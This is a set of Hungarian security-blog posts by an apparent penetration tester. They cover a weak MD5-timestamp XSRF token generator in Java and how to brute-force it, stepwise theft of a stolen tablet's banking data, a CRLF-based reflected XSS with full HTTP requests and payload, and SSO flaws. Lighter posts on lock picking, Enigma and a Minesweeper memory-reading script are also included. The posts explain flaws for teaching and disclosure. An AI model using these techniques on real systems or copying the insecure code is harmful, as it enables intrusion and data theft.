A FIPS140-compliance viszont nem jelent semmit - simán lehet predikálható a mintám, hiába megy át minden létező statisztikai teszten, amik kellően zajszerűnek hozzák ki. Mutatok egy példát.

Tekintsük például a következő kódot, ami mondjuk XSRF tokeneket generál:

Public String generateXSRFToken(HttpServletRequest request)
{
HttpSession session = request.getSession();
try {
byte[] timestamp = new Long(System.currentTimeMillis()).toString().getBytes();
MessageDigest md = MessageDigest.getInstance("MD5");
md.update(timestamp);
return toHex(md.digest());
}
catch (IllegalStateException e) {
return null;
} catch (NoSuchAlgorithmException e) {
}
return null;
}

Egyszerű, mint a faszög: amikor tokent kell generálni, md5 hash-eljük az időt (hogy ennek milyen a felbontása, az az aktuális vastól és oprendszertől is függ), és ezt adjuk oda a júzernek.

A trükk az, hogy az így generált tokenek minden létező statisztikai teszten átmennek, de ez korántsem jelenti azt, hogy véletlenszerűek. Próbaképp generáltam húszezer tokent, és a burp statisztikai elemzője a következőképp nyilatkozott róluk.

"The overall quality of randomness within the sample is estimated to be: excellent.
At a significance level of 1%, the amount of effective entropy is estimated to be: 120 bits."

Minden létező FIPS-teszten is átmennek a tokenjeim:

Ha nem tudnám, hogy hogy generáltam őket, akkor teljes lelki nyugalommal rámondanám, hogy a követelményekneknek megfelel a mintám.

Éppen ezért önszorgalomból meg szoktam nézni, ha tokenek erősségének vizsgálata van terítéken, hogy egészen véletlenül nem ezzel a naiv algoritmussal oldották-e meg a fejlesztők a tokengenerálás feladatát. Maga a módszer végtelenül egyszerű és nagyon jól szkriptelhető: fogom a HTTP válasz fejlécében lévő időpecsétet és mondjuk harminc másodpercnyi időpecsétet generálok előre-hátra és md5-tel meg sha1-gyel hashelem őket. Ez százhúszezer string, ezek közé bekukkantok, hátha itt van közöttük az XSRF-token (vagy egy része), amit a gép sorsolt nekem.

Ha pedig malacom van és tényleg sikerült megfogni az md5(időpecsét)-módszerrel operáló tokengenerálást, akkor már jelentősen javultak az esélyeim arra, hogy XSRF-exploitot gyártsak a tesztelt alkalmazáshoz. A naiv (és PoC-ban tökéletesen megfelelő) módszer szerint valahogy nézegetni kezdem mondjuk másodpercenként egy másik tabba injektált javascriptből, hogy a júzer lekérte-e az adott oldalt (mondjuk XSHM-mel), és amikor megvan belépés, akkor elkezdem sorra elküldeni a formomat az egyes időpecséteknek megfelelő XSRF-tokenek egymás utáni belepróbálgatásával. Hátha. A támadás nagyon-nagyon zajos és meglehetősen kicsi az esélye a sikernek, viszont ha mondjuk kétmilliárd dolláros tőzsdei tranzakciók ki (nem) lövése múlik egy időpecsét eltalálásán, akkor már meglehetősen komoly issue-ról beszélünk.

A hónap kódkommentje

További kommentár nélkül, éles banki alkalmazás webes felületének HTML/Javascript kódjában.

[...]

// This is to enable Cross Site Scripting

// (c) Developement Company, 2011

[...]

Szó se róla, becsülettel implementálták.

Hogyan ne tervezzünk kriptórendszert?

Jól indult az év, a főnökeim megleptek még karácsonyra egy érdekes alkalmazás tesztjével, csak múlt hétre hozta ki a nagy birodalmi csőposta.

Maga az alkalmazás (nevezzük mondjuk FancyTrade-nek) arra szolgál, hogy a tablettel az ölében a tőkeerős befektetőcsoport a bőrfotelekben békésen szivarozgatva tudja tutujgatni az accountját a kedvesügyfél pénzintézeténél. Mindezt úgy, hogy csicsapicsa grafikus felületen lehet nyilakat húzogatni meg számokat beírni, az összerakott pénzügyi tranzakciókat meg egy gondosan dizájnolt gombbal lehet elküldeni - a kassza végül csilingel, a részvényesek szája pedig őszinte mosolyra húzódik.

Nosza.

Az alkalmazás az ügyfél saját fejlesztése, marketről/appstore-ból nem letölthető. Az app egy disztribúcióját netes bankon keresztül lehet kérni.

A rendszer egyik legszembeötlőbb része a lockscreen, ami mindig előjön, ha az alkalmazás valamiért a háttérbe kerül (mondjuk a júzer megnyomja a home gombot vagy lehúzza a notification bart, esetleg valaki rápinnyog valami IM-kliensen). Ekkor a júzer beüti a céges policynek megfelelő jelszavát, és ha stimmel, már kapja is vissza a csillivilli grafikonjait.

Az app a zökkenőmentes júzer ekszpíriensz érdekében cache-el egy csomó adatot, másokat meg publikus forrásokból ránt le real-time (részvényárfolyamok, valutaváltási adatok stb.) Mondanunk sem kell, hogy minden olyan adat, amit az alkalmazás kezel, hiperszenzitív. Az kapcsolódó threat modelben nem meglepő módon az alkalmazást futtató tablet elvesztése kiemelt helyen szerepel, erre tehát a biztonsági rendszertervet kitaláló fiatalemberek nagy gondot fordítottak: magán a divájszon plain-text adat kizárólag a memóriában lakik, a tárolóra nem írják ki.

A hiperszenzitív júzeradatok, például a banki rendszerbe történő bejelentkezéshez szükséges azonosítók egy szimmetrikus kriptóval titkosított adatbázisban (UberSecretDatabase.crypt) laknak. A hozzájuk tartozó szimmetrikus kulcs (mondjuk K1) egy szintén lokális, ám teljes egészében enkriptált fájlban lakik (DBSecret.crypt), a DBSecret.crypt fájlt a júzer beütött jelszava dekriptálja.

Hogy működik mindez használatban?

1. A felhasználó beüti a jelszavát.
2. Az app a jelszót, mint kulcsot felhasználva megpróbál dekriptálni egy ismert plain-textű fájlt (PasswordCheck.crypt). Ha a fájl az ismert 012345 stringre dekriptálódik, a felhasználó jó jelszót ütött be, az alkalmazás továbbengedi a grafikus felületre, ellenkező esetben hibát dob.
3. A felhasználó jelszavát, mint kulcsot felhasználva az app kinyitja a DBSecret.crypt fájlt, amiből felnyalja K1-et.
4. Az app kinyitja K1-gyel a tényleges adatokat tároló adatbázist.
5. A GUI-n már meg is jelennek az ügyfélre vonatkozó adatok.

Amikor a felhasználó telepíti a tabletjére az alkalmazást, akkor legelőször inicializálnia kell a kriptót - ehhez be kell ütnie a default jelszót, amit rögtön meg is kell változtatnia valami erősre. Jelszóváltoztatásnál annyi történik, hogy a Passwordcheck.crypt és a DBSecret.crypt fájlokat felülírjuk az új jelszónak megfelelő értékekkel.

A tablet maga megbízhatónak van tekintve a modellben és ezzel kapcsolatos ötleteink, amik jailbreakelésről, illetve rootolásról szólnak, sajnos versenyen kívül indulnak, ugyanis az ügyfél kérése az volt, hogy a divájszot érintetlenül kell hagyni tesztelés során. Ez van...

Nekiálltunk a melónak, és nagyon hamar rájöttünk pár igencsak kellemetlen dologra, ami igencsak naiv kriptóhasználatot sejtet a fejlesztők részéről:

1. K1, ami a júzeradatokat tároló adatbázist enkriptálja, konstans minden alkalmazáspéldányra. Az alkalmazás telepítéskor elkészít egy minimáladatbázist (gondolom a sémát adatok nélkül), és a DBSecret.crypt fájl telepítés után alapból a default jelszóra nyílik.
2. A default jelszó az, hogy '123456'. Ez igen-igen béna alap jelszó még akkor is, ha meg kell változtatni a következő pillanatban. Önmagában nem valami nagy dolog, viszont látni fogjuk, hogy az egész hóbelevanc biztonsága ezen az egy jelszón (illetve a megsejtésén) múlik, ha ügyesek vagyunk.
3. Az iPades példányt húztam a nagy kalapból. A tableten lévő telepítés könyvtárrendszerében az iExplorer nevű eszközzel matatva elég érdekes dolgokra bukkantam: például ott van az app difót fájljainak egy másolata, takarosan félretéve egy mappában. Nem tudom, hogy ez az iPad műfaji sajátsága-e, de gyanítom, hogy igen - mindenesetre ez igen hasznosnak bizonyult később.

Nagyjából ennyi az app és a közvetlen issue-k listája. Lássunk egy-két szkenáriót, amiben abúzálni lehet.

Egyrészt a legszembeötlőbb bibi az, hogy az alkalmazáspéldányok között szabadon lehet ide-oda tologatni az UberSecretDatabase.crypt fájlt, lévén ugyanaz a kulcs nyitja mindet - tehát a vonatkozó szkenárióban egy rosszindulatú ügyfél ellopja egy másik ügyfél iPadjét, majd átmásol róla ezt-azt. Ez a szkenárió nem túl életszerű, mondták a kedvesügyfélnél a baráti hangulatú telekonferencián.

Mondtunk hát jobbat.

Tegyük fel, hogy támadóként ellopom az iPadet, ami tartalmaz ugyan júzeradatokat, viszont ezek egy ismeretlen, de erős felhasználói jelszóval vannak titkosítva. Esetleg még az iPad saját lockscreenje is aktiválva van. Hogy tudok mégis hozzáférni az adatokhoz?

Így.

1. A divájszról az iExplorerrel letöltöm az UberSecretDatabase.crypt fájlt. Ehhez ugye nem kell tudnom semmilyen jelszót, sőt még az iPad saját lockját sem kell tudnom feloldani.
2. A divájszról letöltöm a FancyTrader könyvtárat, ahol az app default telepítőkészlete lakik.
3. Csinálok egy ZIP-et, amiben létrehozok egy Payload/ könyvtárat, abba belemásolva a FancyTradert caklipakli.
4. Átnevezem a ZIP-et .ipa kiterjesztésre, és hipp-hopp, már készítettem is egy valid telepítőt az alkalmazáshoz.
5. Egy másik iPad-re (mondjuk a sajátomra) rágyógyítom az így összerakott telepítőt. Elindítom, és az új telepítés kéri a default jelszót. Ezt mondjuk, hogy megsejtem és így inicializálok egy új példányt a kriptórendszerből, amit a saját jelszavam nyit.
6. Mivel a K1 kulcsot már ki tudom nyitni a saját jelszavammal, nincs más dolgom, mint átmásolni az UberSecretDatabase.crypt fájlt a saját tabletemre - beütöm a jelszavam és már hozzá is férek az ügyfél hiperszenzitív adataihoz.

Ez a támadás tökéletes példája annak, hogy hogyan lehet egy alapvetően nem rossz kriptográfiai rendszert tökéletesen elrontani naiv ötletekkel - itt ugye a konstans K1 kulcs az, amin alapszik az egész. Ha a felhasználó jelszava (illetve az abból képzett hash) lenne a kulcs a tényleges adatbázishoz, nem működne a támadás.

Nem rossz ez így idáig sem, de a műsornak még nincs vége: rámentem a binárisra egy IDA Pro-val, és a kriptográfiai részek stringjeiben való matatás eredményeképp határtalan meglepetésemre rábukkantam a default jelszóra, a bináris pedig ott van minden divájszon, simán le lehet rántani és dekompilálni... erre már nem tudok mit mondani.

Összegezve a munkát: kidolgoztunk egy támadást, amihez a támadónak eszközként egyedül az alkalmazást futtató tabletet kell ellopnia, és a folyamat lépéseit végigcsinálva minden érzékeny adathoz hozzáfér, ami a divájszon található.

Örülünk, Vincent.

Bogota picket minden háztartásba!

Még karácsony előtt voltam a londoni hackspace-ben. Meglepő módon tök hasonlít a Fogasházra, annyi lényeges különbséggel, hogy jóval nagyobb büdzséből nyomják a srácok és az egyik helyiségben mindenféle ipari CNC-marók, esztergapadok mellett ott mosolyog egy 3D printer is. Minden hónap harmadik szombatján tartanak itt egész napos zárorgiát: jön a csóka, ráborít az asztalra vagy harminc kiló zárbetétet és indulhat a móka. Ha van saját cuccod, zsír, ha nincs, nem gond, itt egy fogó meg egy csomó ablaktörlő-lapát, kincstári gyémántpicket meg abban a dobozban találsz.

A sráccal beszélgettünk egy sort játszadozás közben, és a "kinek nagyobb a fasza"-verseny lokalizált verziójában méregettük, hogy a HPC vagy a SouthOrd pickek jobbak-e európai meg amerikai zárakhoz. A srác egyébként nagy spíler, zármentés mellett foresic lakatosként is bedolgozik néha a brit rendőrségnek.

Ahogy pakolgattuk a fémdarabokat jobbra-balra, igencsak kellemes meglepetésemre megpillantottam egy készlet Bogota picket a bőrszütyőjében. Elkértem, kipróbáltam őket: sokat hallottam róluk, leginkább azért, mert igencsak macerás beszerezni őket. Egy Raimundo nevű arc csinálja őket és legutóbbi ismereteim szerint valahol Dél-Amerikában készülnek, kézzel. Kábé két óra kireszelni meg -polírozni egy készletet és ezért igencsak hosszú várakozólista van - ja, és Európába nem nagyon szállítanak.

Na, de most ott volt egy készlet a kezem ügyében. Tipkusan rake-ként használják őket: a forgatóval nagyon gyengéden előfeszíted a cilindert, berakod a bogotát és elkezded izélgetni. Nem tudok rá jobb szót - nem kirántod, nem ki-be tologatod, hanem minden irányba mozgatod és így pár másodperc után minden zárbetét kinyílt, amit próbáltam. Nem hittem el. Hat pines Yale, ebből kettő spool, fos Elzett, nem túl fos Assa, mind-mind nyíltak pár másodperc alatt. Nem tudom elmondani, hogy mit csináltam vagy hogyan - beraktam a bogotát, és addig mozgattam összevissza, amíg valahogy csak elfordult a betét. Ez valami rohadt varázslat lesz.

Szóval, bogotát mindenkinek.

Cheatelj az aknakeresőben (vagy bármiben)!

Az a jó abban, hogy néha külsős tesztelők is jönnek hozzánk vendégszerepelni, hogy ebédnél egy csomó érdekeset meg lehet tudni olyasmikről is, amivel nem foglalkoztam még. Ilyen például az, amit Ben, az egyik tesztelő sráccal dumáltunk a spagetti fölött.

Mesélte, hogy mostanában azon sportol, hogy játékokhoz írjon cheateket. Kissé felvontam a szemöldököm és elmagyarázta, hogy van ugye a játék, ami fut a memóriában és a motorja mindent tud a világról, csak épp nem mutatja meg a játékosnak. Például a Call of Duty-ban az engine pontosan tudja, hogy az ellenfél játékosai hol vannak (legyenek azok botok vagy valódi ellenfelek multiban), viszont te csak annyit látsz belőlük, amennyi belefér a játék szabályaiba, alkalmazva az avatárod aktuális pozíciójára. Namármost ha a játékprocessz memóriaterületéről kibányásszuk a játékosokat reprezentáló objektumokat, akkor real-time meg lehet mondani, hogy ki éppen hol van a térképen. Sőt, ha valami ügyes DLL injection/API hooking varázslatot is végrehajtasz, akkor még akár írni is tudod a memóriában az egyes objektumok tulajdonságait - például játszhatsz a fizikával. Kétkilós tankot valaki?

Ez már itt kezdett sci-fibe hajlani, ezért kaja után mutogatott pár dolgot. A legutóbbi varázslat ez a khm... egészen új háborús-multis játék, aminek a binárisait felboncolva összerakta, hogy a játék engine-je milyen módon tárolja a játékosokat reprezentáló objektumokat. A memóriát végigkeresve egy kis parancssori ablakban ott mutatta a cheatje, hogy hol van a többi játékos a térképen... és betolva ezt a DLL-injectionös mókát, hirtelen csapatot is lehetett cserélni, vagy éppen öröklőszer-módban játszani.

Nyilván a játék készítői is megtesznek mindent azért, hogy ez ne működhessen és pl. a WoW kapcsán macska-egér harc folyt a Blizzard fejlesztői és a haxorok között, akik rájöttek arra, hogy hogy lehet például automatizálni az aranycsinálást. A minta ismerős: kijött egy verzió a WoW-ból, a haverok rávetették magukat és átreszelték a cheatert egy pár nap alatt és öröm-boldogság, lehetett használni. Aztán a Blizzard átpakolta a memóriában a dolgokat egy újabb verzióban, ekkor megint némi keresgélés jött és (remélhetőleg) már működhetett is az új verzió a cheatből. Kemény küzdelem ez is, na. Állítólag a WoW valamelyik verziójában egy kulcsfontosságú API-hívás címét megváltoztatták és a fejlesztők az eddigi címre egy base64 enkódolt youtube linket tettek, amivel rickrollolták a haxorokat...

Mutatott a srác pár eszközt, amit a folyamat során használnak, és a sztorikon felbuzdulva összedobtam egy cheatert a vindózos aknakeresőhöz. Először is itt van a CheatEngine, ami tulajdonképpen egy spéci disassembler/debugger. A leghasznosabb fícsör benne az, hogy szépen mutatja a memória tartalmának változásait real-time, így aztán könnyen lehet túrni a különféle adatok után.

Lássunk egy egyszerű példát - az aknakereső hol tartja azt a változót a memóriában, ami az eltelt időt tárolja? Elindítjuk az aknakeresőt és a CE-t, ráengedjük és rákeresünk arra a számra, hogy 23 (mondjuk). Az óra ketyeg-ketyeg és amikor 23 másodperc telt el, útjára engedjük a keresést és lám, a listában már ott is mosolyog a 23-as szám - illetve most már 24. Gratulálunk, megvan az óra változója a memóriában.

És hogy lehet ezt használni? Összedobtam egy kis python szkriptecskét, ami annyit csinál, hogy a memóriából kiszedi, hány akna van a táblán meg mik a tábla dimenziói - a tényleges cheater megírása innentől már elég egyszerű. ;)

import sys
from struct import *
from ctypes import *
from ctypes.wintypes import *

def readMem(pid,address,size):
OpenProcess = windll.kernel32.OpenProcess
ReadProcessMemory = windll.kernel32.ReadProcessMemory
CloseHandle = windll.kernel32.CloseHandle

PROCESS_ALL_ACCESS = 0x1F0FFF

buffer = c_char_p("a"*size)
bufferSize = len(buffer.value)
bytesRead = c_ulong(0)

processHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
if not ReadProcessMemory(processHandle, address, buffer, bufferSize,  byref(bytesRead)):
print 'Failed.'

CloseHandle(processHandle)
return buffer

pid = int(sys.argv[1])
oszlop = ord(readMem(pid,0x01005334,1).value)
sor = ord(readMem(pid,0x010056a8,1).value)
akna = ord(readMem(pid,0x01005330,1).value)

print 'Oszlopok szama: ' + str(oszlop)
print 'Sorok szama: ' + str(sor)
print 'Aknak szama: ' + str(akna)

Zsermen Enzsiníring

Van Londonban egy csomó haxorklub, ezek közül a defcon-szervezet helyi dc4420 nevű sejtje a legaktívabb (vagy legalábbis ők hirdetik magukat a full disclosure-ön). A múlt heti összeröffenés különleges volt, mert nemcsak súlyosan kocka szociofób infósok bukkantak fel, hanem mindenféle egyéb arcok is ott tolongtak a kocsmában.

A múlt heti előadást ugyanis egy német THC-s csóka tartotta és az Enigmáról szólt. Noch dazu behozott egy harmincas évekből származó, máig működő példányt (!), amit aztán lehetett tapogatni, nyitogatni, nyomogatni-kattogtatni előadás után. Elmondhatom, hogy igen, én már tapogattam Enigmát :)

Az előadást egy német arc tartotta egy angol kocsmában egy német hadieszközről, amit a britek fejtettek meg, brit IT-biztonsági arcoknak - a helyzetben végtelen viccpotenciál lakozott, és nem mulasztotta el lecsapkodni a magas labdákat ("Hát igen, ez az Engima itt, aminek a titkosítási eljárását megfejtettétek a világháborúban.  Ha nem tettétek volna, ki tudja, hogy alakult volna a történetelem, de valszeg nem ülnénk így együtt ebben a kocsmában, német sört kortyolgatva. Illetve én valszeg itt lennék, de hogy ti is, abban nem vagyok biztos...")

Egy Enigmát használni igencsak különleges dolog, ugyanis a legtöbb megmaradt példányt gyűjtők szerezték meg meg múzeumok és valahányszor kalapács alá kerül egy-egy működőképes példány, igencsak nagy összegek cserélnek gazdát. Az Egyesült Királyság területén összesen nyolc példányról tudnak: van egy a National War Museumban, egy a Blentchley Parkban, a brit kriptográfia világháborús fellegvárában kialakított múzeumban, pár meg gyűjtőknél. A nyolcadik pedig ott pihengetett az sörpadon a kocsmában, ahogy a srác körbejárva magyarázott a működéséről.

Nem mintha túl sok Enigma maradt volna meg - a német főparancsnokság 1945 tavaszán kiadott egy parancsot, miszerint az összes Enigma gépet meg kell semmisíteni. Németek voltak, tehát a kiadott parancs részletes Zerstörungsprozedurmanualt tartalmazott: ennek része volt egy kibiztosított kézigránát, amit a katona belehelyezett a készülékbe, rácsukta a fedőt, aztán olyan messzire futott, amennyire csak tudott. A legtöbb harctéri Enigma így sajnos el is pusztult a háború végén ("a german soldat is a german soldat even when being defeated").

Egyébként a világháború végeztével nem fejeződött be az Enigma pályafutása, ugyanis egyrészt a kelet-német titkosszolgálat egészen a hetvenes évekig alkalmazta, másrészt egészen váratlan történelmi szituációkban bukkant fel, például nemrég találtak a spanyolok egy megmaradt és működőképes példányt Madridban, amit Franco csapatai használtak a polgárháborúban. Sőt egészen a hetvenes évekig az is szigorúan titkos volt, hogy a lengyel és brit kriptográfusok képesek voltak sikeres kriptoanalízist végrehajtani az eszközön és a használati protokollon.

Olvastam az egyik tiszt emlékiratainak kriptoanalízisre vonatkozó részét, amit akkoriban adtak ki: az előszóban a tiszt a szomszédjának ajánlotta a könyvet, aki a háború után folyton azzal szekálta szegényt, hogy ezek a magához hasonló mai fiatalok még a hazájukért se képesek semmit megtenni, otthon meresztették a seggüket a hátországban az irodán (a fedősztorija szerint valami könyvelőirodán dolgozott a hadiparancsnokságon).

Kirptográfiai szemüvegen keresztül nézve a gépet, nagyon bonyolult elektromechanikus hardvert használó szubsztitúciós titkosítóról van szó (elméletét legközelebb talán a Viginere-féle titkosító áll hozzá), döbbenetes méretű kulcstérrel. A DES effektív kulcshossza ugye 56 bit volt bő negyven évvel később, az Engima ehhez képest típustól függően 68 és 78 bit közötti effektív kulcshosszal dolgozott - ekkora méretű kulcshosszak épeszű időben történő brute-force támadása körülbelül mostanában elképzelhető. Nem rossz... de a tényleges kriptoanalízist egy csomó dolog megkönnyítette:

1. Az hosszabb kulcsokat használó tengerészeti Engimákat "kompatibilitási módba" lehetett kapcsolni, amivel a hagyományos hosszú kulcsokkal enkriptált időjárás-jelentéseket dekriptálni tudták. Ezt a beállítást gyakran nem is változtatták meg az operátorok a harctéri tevékenység során, mert macerás volt folyton állítgatni ide-oda a gépeket. Ismerős valahonnét? (PPTP kulcsegyeztetés downgrade LM authentikációra Ettercappel, például?)
2. Az enkriptálás nem használt paddingot, emiatt viszont a rövid plain-text üzenetek rövid ciphertextet eredményeztek, kulcstól függetlenül. Például az időjárás-jelentések és a "nincs jelentenivalóm"-üzenetek egyértelműen elkülöníthetőek voltak a többiektől, ezek plain-text megfelelői pedig ismertek voltak. (hiába fejlődött azóta a kriptográfia, a WEP-törés például pontosan ugyanígy épít arra, hogy a rövid üzenetek ARP-k, azoknak meg ismert a szerkezete).
3. Az operátorok először a napi kulcsot használva titkosították az aktuális kulcshoz tartozó üzenetkulcsot, és azt küldték át először. Ezt követően átállították a gépet az üzenetkulcsra (session key) és a tényleges üzenetet ezzel titkosították küldés előtt. Ezzel két gond is volt: egyrészt az operátorok szerettek sessionkulcsnak gyenge kulcsokat választani ("QWE", "123"), ezeket a kulcsokat a britek cillyknek nevezték el és ezeket próbálták végig először - hátha tényleg ez a sessionkulcs, amivel viszont már a napi kulcs is könnyebben kitalálható. Másrészt hibadetekciós célból kétszer küldték el a napi kulccsal titkosított üzenetkulcsot, ezzel pedig ismert redundanciát vittek a plain-textbe (pl. ha az volt az üzenetkulcs, hogy "QWE", akkor hat karaktert küldtek át a napi kulccsal titkosítva: "QWEQWE").
4. Néha a britek ölébe pottyant a megoldás, azaz több hónapra előre sikerült megszerezni a napi kulcsokat tartalmazó könyvet például tengeralattjárókról, amik tipikusan hosszú időre elegendő kulcsellátmányt kell, hogy magukkal vigyenek.

A gép felépítéséről és működéséről szándékosan nem írok semmit - akit érdekel, a wikipedián kimerítő leírást talál mindenről. Ami egyébént nagyon érdekes volt a géppel kapcsolatban, az merőben gyakorlati kérdés volt (legalábbis nekem): oké, hogy támadható volt kriptográfiailag meg minden, de ezek a cuccok harctéri körülmények között mennyire voltak megbízhatóak? Ott azért mondjuk, hogy üzemszerűen kell elviselniük, ha leejtik őket vagy beléjük borul némi sár - előadás után rákérdeztem, és a srác vigyorogva annyit mondott: ha nagyon érzékeny gépek lennének és vigyázni kéne rájuk, mint a hímes tojásra, gondolod, hogy csak úgy otthagynám? Nem véletlen, hogy kézigránát kellett az elpusztításukhoz.

Hiába no. Zsermen enzsiníring.

Érdekes reflected XSS-ke

Érdekes reflected XSS hibára akadtam tegnap. Igazából az benne az érdekes, hogy nem a konkrét alkalmazásban lévő inputvalidációs butaságok miatt támadható a dolog, hanem az infrastruktúra hiányosságai miatt működik az exploit úgy, ahogy. Az app egyébként nagyon jól meg van írva, input és output encode is van a felhasználótól érkező inputokon.

Amikor nem vagyunk belépve és úgy próbálunk elérni valami szenzitív tartalmat, akkor a következő történik. Kiadjuk a kérést, és a szerver átirányít minket egy login screenre:

GET /application/stuff HTTP/1.1
Referer: [...]
User-Agent: [...]
Host: host.com

És a válasz, ami jön rá:

HTTP/1.1 302 Found
Date: Tue, 15 Nov 2011 14:20:25 GMT
Server: Apache
Pragma: no-cache
Set-Cookie: sessioni=[...]; Path=/; Secure; Version=1; HttpOnly
Connection: close
Location: https://host/application/stuff?login
Cache-Control: no-cache
Content-Length: 336
Content-Type: text/html; charset=utf-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<HTML><HEAD>
<TITLE>302 Found</TITLE>
</HEAD><BODY>
<H1>Found</H1>
The document has moved <A HREF='https://host/application/stuff?login'>here</A>.
</BODY></HTML>

Ami feltűnt a szanaszéjjel fuzzolás közben, az a következő volt: ha CRLF-et injektálunk az URL-be, akkor a 302-es válaszból valahogy kimarad a Location header (!). Egyébként pedig minden marad a régiben:

HTTP/1.1 302 Found
Date: Tue, 15 Nov 2011 14:23:42 GMT
Server: Apache
Pragma: no-cache
Set-Cookie: sessioni=[...]; Path=/; Secure; Version=1; HttpOnly
Connection: close
Cache-Control: no-cache
Content-Length: 336
Content-Type: text/html; charset=utf-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<HTML><HEAD>
<TITLE>302 Found</TITLE>
</HEAD><BODY>
<H1>Found</H1>
The document has moved <A HREF='https://host/application/stuff
akarmi?login'>here</A>.
</BODY></HTML>

A böngésző pedig Location header nélkül nem megy tovább automatikusan, hanem szépen kirendereli a júzernek a Found - The document has moved here feliratot. És a link tartalmába már tudunk injektálni:

GET /application/stuff'%0d%0a%20onClick='alert(4)';var%20x=' HTTP/1.1
Accept-Language: en-gb
Referer: [...]
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: [...]
Host: host.com

A szerver válasza pedig:

HTTP/1.1 302 Found
Date: Tue, 15 Nov 2011 14:28:55 GMT
Server: Apache
Set-Cookie: sessioni=[...]; Path=/; Secure; Version=1; HttpOnly
[...]

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<HTML><HEAD>
<TITLE>302 Found</TITLE>
</HEAD><BODY>
<H1>Found</H1>
The document has moved <A HREF='https://host.com/application/stuff'
onClick='alert(4)';var x='?login'>here</A>.
</BODY></HTML>

És ennyi - a júzer kattint a javascript végrehajtódik. Sajnos < és > karaktereket nem tudunk injektálni, mert ezeket html enkódolva küldi vissza a szerver, de minden javascript eventbe lehet injektálni, ami az <A>-ban érvényes.

Könyvajánló - Practical Lock Picking

Kihozták, meghozták és azóta is folyamatosan olvasgatom a Practical Lock Picking című könyvet. Ha érdekel a lockpicking, ez a könyv A Biblia (no meg persze a Mark Weber Tobias Locks, Safes and Security című esszéje, de az úgy négyezer oldal (komolyan, nem viccelek) és finoman szólva sem túl olvasmányos).

Élvezetes a stílusa, és a különféle pickelési technikák ismertetésén túl tippeket is ad, hogy hogy gyakorolj, meg mire figyelj - az alaposságára jellemző, hogy egy egész fejezet szól a lamellás zárakról, amiket sok könyvben elintéznek annyival, hogy "ráfeszítesz kicsit, meghúzod párszor a hóemberes rake-kel és már nyílik is".

A könyv függelékében pedig igazi csemege lakik: össze vannak szedve az elterjedtebb pickek, és elég jó összegzés van arról, hogy melyiket mire (nem) lehet használni. Nekem például nagyon hasznos volt ez a pár oldal.

Ami miatt pedig vásárold meg papíron és ne csak kölcsönözd ki a torrentboltból, az az, hogy egyrészt nagyon kúl a polcodon, nem avul el úgy, mint a Hacking Exposed sorozat, másrészt pedig mert adnak hozzá egy DVD-t sok órányi előadással meg műhelyvideóval.

Update:

Deviant Ollam, a könyv szerzője előadott a DerbyConon a különféle pickekről. Az előadást a uDrink protokoll kedvéért is érdemes megnézni - amikor legközelebb adok elő, bevezetjük.

Analizáljunk SSO protokollt, part II. - Implementáció

Nyár elején volt egy érdekes meló, amikor egy nagyhírű vendor otthoni boszorkánykonyhájában kifőzött SSO protokollt kellett elméleti szinten megrágni. Volt benne minden: session tokenek, Blowfish CBC módban, HTTP redirectek és egyéb nyalánkságok - javaslom, hogy fusd át az akkori posztot frissítésnek. Szükség lesz rá, mert a Super SSO-t bevezették, és a főnököm, Stig (komolyan így hívják) hozzám klattyintotta az implementáció megb tesztelését.

Mielőtt rátérnénk a konkrét implementációra, lássuk, hogy milyen változtatásokat eszközölt a vendor az elméleti tesztelés jelentése alapján.

1. Mivel a protokoll statikus kulcsokat és IV-t használt, meghatározható volt a ciphertext üzenetek figyeléséből, hogy melyek származnak ugyanattól a felhasználótól és melyek jeleznek sikeres bejelentkezést. Emiatt beletettek egy random saltot a titkosítandó URL elejére.
2. Megnövelték a Blowfish kulcshosszát 96 bitről 128 bitre.

És ennyi. A protokoll lényegi része változatlan maradt: statikus kulcsok, statikus IV, nyenyó üzenethitelesítés. Nyami, mondtam, indulhat a móka.

Amikor a felhasználó meglátogatja a Panama nevű tőzsdei alkalmazást, beüti a júzernevét és jelszavát, és némi HTTP-s pingpong után már értékesítheti is a millió dolláros értékpapír-csomagját - semmi különös. Ami lényeges, az a motorháztető alatt történik. Burppal elfogva a böngésző által kiadott HTTP-kéréseket, már ismerős struktúrájú URL-eket találunk. Sikeres lokális authentikáció után ezzel a kéréssel regisztrálja magát a júzer az S3OSP (Super SSO Service Provider, az az állat, ami nyilvántartja az S3O sessionöket és a hozzájuk tartozó júzerneveket) adatbázisában.

https://S3OSP/setToken?header=881308337531&payload=<base64-enkódolt katyvasz>

Gyors ismétlésként ugye a payload egy base64encode(blowfish(URL),kulcs) művelet eredményeként keletkezik, és mint ilyen, a júzer nem matathatja az értékét. Amikor az S3OSP elfogadja, akkor egy javascriptes oldalt küld vissza a júzernek, és a javascript felépíti a flashes/AMF-es környezetet, amiben a tényleges Panama alkalmazás fut. Ez azért jó, mert a javascript forrásában pontosan látjuk, hogy mire dekódolta a payload értékét (Issue: Cryptographically sensitive material in plain text format on user side).

Például:

function createSWF(){
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" [...]>
[...]
var username = [username];
var fromtime = [epoch];
var totime = [epoch];
var role = [role];
[...]
</object>
}

Ez azért zseniális, mert egyrészt ki lehet kerülni az egész S3O protokollon alapuló authentikációt azzal, hogy röptében átírom a júzernevet meg a szerepkört (Issue: Horizontal and vertical privilege escalation, illetve Arbitrary user impersonation).

Kicsit tovább harapdálva a payload paraméter értékét, érdekes dolgokra figyelhetünk fel. Egyrészt mivel nincs üzenethitelesítés, a payload enkriptált értékét átírva a logika nem tudja érzékelni a matatás tényét, és valahol megdöglik a feldolgozó logikában a kérés, érdekes hibaüzeneteket produkálva ezzel. Ebből több vicces dolog is következik:

1. Neki lehet menni Paddig Oracle-lel a titkosításnak, ugyanis a dobódó java exception pontosan elmondja, hogy a padding hibás volt-e, vagy egyéb bibi a hibaok - például hogy exception dobódott, mert a júzernévben nem ASCII karakterek is vannak (azaz a padding jó volt, de a dekódolás már nem). Ez is működhet, de mint látjuk pár bekezdéssel később, fölösleges, ugyanis jóval egyszerűbben meg lehet dönteni az egészet.
